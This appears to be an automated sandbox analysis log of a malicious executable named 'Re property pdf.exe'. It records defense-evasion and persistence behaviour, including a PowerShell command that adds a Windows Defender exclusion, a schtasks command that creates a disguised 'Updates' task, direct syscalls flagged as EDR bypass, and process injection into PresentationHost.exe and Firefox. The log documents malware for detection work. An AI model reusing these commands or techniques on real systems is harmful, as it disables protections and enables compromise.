Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01030854 mov eax, dword ptr fs:[00000030h]	6_2_01030854
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01004859 mov eax, dword ptr fs:[00000030h]	6_2_01004859
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01004859 mov eax, dword ptr fs:[00000030h]	6_2_01004859
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01096870 mov eax, dword ptr fs:[00000030h]	6_2_01096870
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01096870 mov eax, dword ptr fs:[00000030h]	6_2_01096870
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108E872 mov eax, dword ptr fs:[00000030h]	6_2_0108E872
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108E872 mov eax, dword ptr fs:[00000030h]	6_2_0108E872
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01000887 mov eax, dword ptr fs:[00000030h]	6_2_01000887
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108C89D mov eax, dword ptr fs:[00000030h]	6_2_0108C89D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102E8C0 mov eax, dword ptr fs:[00000030h]	6_2_0102E8C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D08C0 mov eax, dword ptr fs:[00000030h]	6_2_010D08C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FF8918 mov eax, dword ptr fs:[00000030h]	6_2_00FF8918
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FF8918 mov eax, dword ptr fs:[00000030h]	6_2_00FF8918
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CA8E4 mov eax, dword ptr fs:[00000030h]	6_2_010CA8E4
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103C8F9 mov eax, dword ptr fs:[00000030h]	6_2_0103C8F9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103C8F9 mov eax, dword ptr fs:[00000030h]	6_2_0103C8F9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D4B00 mov eax, dword ptr fs:[00000030h]	6_2_010D4B00
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107EB1D mov eax, dword ptr fs:[00000030h]	6_2_0107EB1D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107EB1D mov eax, dword ptr fs:[00000030h]	6_2_0107EB1D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107EB1D mov eax, dword ptr fs:[00000030h]	6_2_0107EB1D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107EB1D mov eax, dword ptr fs:[00000030h]	6_2_0107EB1D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107EB1D mov eax, dword ptr fs:[00000030h]	6_2_0107EB1D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107EB1D mov eax, dword ptr fs:[00000030h]	6_2_0107EB1D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107EB1D mov eax, dword ptr fs:[00000030h]	6_2_0107EB1D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107EB1D mov eax, dword ptr fs:[00000030h]	6_2_0107EB1D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107EB1D mov eax, dword ptr fs:[00000030h]	6_2_0107EB1D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102EB20 mov eax, dword ptr fs:[00000030h]	6_2_0102EB20
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102EB20 mov eax, dword ptr fs:[00000030h]	6_2_0102EB20
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C8B28 mov eax, dword ptr fs:[00000030h]	6_2_010C8B28
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C8B28 mov eax, dword ptr fs:[00000030h]	6_2_010C8B28
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B4B4B mov eax, dword ptr fs:[00000030h]	6_2_010B4B4B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B4B4B mov eax, dword ptr fs:[00000030h]	6_2_010B4B4B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A8B42 mov eax, dword ptr fs:[00000030h]	6_2_010A8B42
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01096B40 mov eax, dword ptr fs:[00000030h]	6_2_01096B40
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01096B40 mov eax, dword ptr fs:[00000030h]	6_2_01096B40
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CAB40 mov eax, dword ptr fs:[00000030h]	6_2_010CAB40
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AEB50 mov eax, dword ptr fs:[00000030h]	6_2_010AEB50
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D2B57 mov eax, dword ptr fs:[00000030h]	6_2_010D2B57
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D2B57 mov eax, dword ptr fs:[00000030h]	6_2_010D2B57
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D2B57 mov eax, dword ptr fs:[00000030h]	6_2_010D2B57
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D2B57 mov eax, dword ptr fs:[00000030h]	6_2_010D2B57
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B4BB0 mov eax, dword ptr fs:[00000030h]	6_2_010B4BB0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B4BB0 mov eax, dword ptr fs:[00000030h]	6_2_010B4BB0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01010BBE mov eax, dword ptr fs:[00000030h]	6_2_01010BBE
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01010BBE mov eax, dword ptr fs:[00000030h]	6_2_01010BBE
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01020BCB mov eax, dword ptr fs:[00000030h]	6_2_01020BCB
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01020BCB mov eax, dword ptr fs:[00000030h]	6_2_01020BCB
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01020BCB mov eax, dword ptr fs:[00000030h]	6_2_01020BCB
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01000BCD mov eax, dword ptr fs:[00000030h]	6_2_01000BCD
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01000BCD mov eax, dword ptr fs:[00000030h]	6_2_01000BCD
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01000BCD mov eax, dword ptr fs:[00000030h]	6_2_01000BCD
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AEBD0 mov eax, dword ptr fs:[00000030h]	6_2_010AEBD0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01008BF0 mov eax, dword ptr fs:[00000030h]	6_2_01008BF0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01008BF0 mov eax, dword ptr fs:[00000030h]	6_2_01008BF0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01008BF0 mov eax, dword ptr fs:[00000030h]	6_2_01008BF0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108CBF0 mov eax, dword ptr fs:[00000030h]	6_2_0108CBF0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102EBFC mov eax, dword ptr fs:[00000030h]	6_2_0102EBFC
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108CA11 mov eax, dword ptr fs:[00000030h]	6_2_0108CA11
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103CA24 mov eax, dword ptr fs:[00000030h]	6_2_0103CA24
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102EA2E mov eax, dword ptr fs:[00000030h]	6_2_0102EA2E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01024A35 mov eax, dword ptr fs:[00000030h]	6_2_01024A35
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01024A35 mov eax, dword ptr fs:[00000030h]	6_2_01024A35
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006A50 mov eax, dword ptr fs:[00000030h]	6_2_01006A50
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006A50 mov eax, dword ptr fs:[00000030h]	6_2_01006A50
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006A50 mov eax, dword ptr fs:[00000030h]	6_2_01006A50
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006A50 mov eax, dword ptr fs:[00000030h]	6_2_01006A50
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006A50 mov eax, dword ptr fs:[00000030h]	6_2_01006A50
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006A50 mov eax, dword ptr fs:[00000030h]	6_2_01006A50
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006A50 mov eax, dword ptr fs:[00000030h]	6_2_01006A50
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01010A5B mov eax, dword ptr fs:[00000030h]	6_2_01010A5B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01010A5B mov eax, dword ptr fs:[00000030h]	6_2_01010A5B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AEA60 mov eax, dword ptr fs:[00000030h]	6_2_010AEA60
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103CA6F mov eax, dword ptr fs:[00000030h]	6_2_0103CA6F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103CA6F mov eax, dword ptr fs:[00000030h]	6_2_0103CA6F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103CA6F mov eax, dword ptr fs:[00000030h]	6_2_0103CA6F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107CA72 mov eax, dword ptr fs:[00000030h]	6_2_0107CA72
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107CA72 mov eax, dword ptr fs:[00000030h]	6_2_0107CA72
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80 mov eax, dword ptr fs:[00000030h]	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80 mov eax, dword ptr fs:[00000030h]	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80 mov eax, dword ptr fs:[00000030h]	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80 mov eax, dword ptr fs:[00000030h]	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80 mov eax, dword ptr fs:[00000030h]	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80 mov eax, dword ptr fs:[00000030h]	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80 mov eax, dword ptr fs:[00000030h]	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80 mov eax, dword ptr fs:[00000030h]	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80 mov eax, dword ptr fs:[00000030h]	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFCB7E mov eax, dword ptr fs:[00000030h]	6_2_00FFCB7E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D4A80 mov eax, dword ptr fs:[00000030h]	6_2_010D4A80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01038A90 mov edx, dword ptr fs:[00000030h]	6_2_01038A90
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01008AA0 mov eax, dword ptr fs:[00000030h]	6_2_01008AA0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01008AA0 mov eax, dword ptr fs:[00000030h]	6_2_01008AA0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01056AA4 mov eax, dword ptr fs:[00000030h]	6_2_01056AA4

Source: C:\Users\user\Desktop\Re property pdf.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Re property pdf.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"
Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtUnmapViewOfSection: Direct from: 0x76F02D3C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Re property pdf.exe

Memory written: C:\Users\user\Desktop\Re property pdf.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: NULL target: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: NULL target: C:\Windows\SysWOW64\PresentationHost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: NULL target: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: NULL target: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\PresentationHost.exe

Thread register set: target process: 5752

Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hwOHPmqcegxcxb" /XML "C:\Users\user\AppData\Local\Temp\tmp4EB6.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Users\user\Desktop\Re property pdf.exe "C:\Users\user\Desktop\Re property pdf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hwOHPmqcegxcxb" /XML "C:\Users\user\AppData\Local\Temp\tmp600C.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process created: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process created: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Process created: C:\Windows\SysWOW64\PresentationHost.exe "C:\Windows\SysWOW64\PresentationHost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: uGMCFMVqKoR.exe, 00000010.00000000.2097886787.00000000010E1000.00000002.00000001.00040000.00000000.sdmp, uGMCFMVqKoR.exe, 00000010.00000002.4211839580.00000000010E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: uGMCFMVqKoR.exe, 00000010.00000000.2097886787.00000000010E1000.00000002.00000001.00040000.00000000.sdmp, uGMCFMVqKoR.exe, 00000010.00000002.4211839580.00000000010E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: uGMCFMVqKoR.exe, 00000010.00000000.2097886787.00000000010E1000.00000002.00000001.00040000.00000000.sdmp, uGMCFMVqKoR.exe, 00000010.00000002.4211839580.00000000010E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: uGMCFMVqKoR.exe, 00000010.00000000.2097886787.00000000010E1000.00000002.00000001.00040000.00000000.sdmp, uGMCFMVqKoR.exe, 00000010.00000002.4211839580.00000000010E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Users\user\Desktop\Re property pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
